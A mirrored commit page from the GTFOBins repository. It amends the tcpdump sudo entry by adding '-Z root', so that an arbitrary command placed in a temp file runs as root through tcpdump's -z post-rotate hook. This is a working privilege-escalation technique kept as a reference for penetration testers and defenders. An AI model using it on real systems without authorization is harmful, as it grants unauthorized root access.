mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 14:30:07 +01:00
Providing user as argument using -Z
For certain distributions running tcpdump without providing -Z (user) argument causes the provided command to be executed as the `tcpdump` user which has low privileges by default.
This commit is contained in:
parent
47f4fb064c
commit
c37da57373
@ -17,5 +17,5 @@ functions:
|
|||||||
TF=$(mktemp)
|
TF=$(mktemp)
|
||||||
echo "$COMMAND" > $TF
|
echo "$COMMAND" > $TF
|
||||||
chmod +x $TF
|
chmod +x $TF
|
||||||
sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF
|
sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF -Z root
|
||||||
---
|
---
|
||||||
|
Loading…
Reference in New Issue
Block a user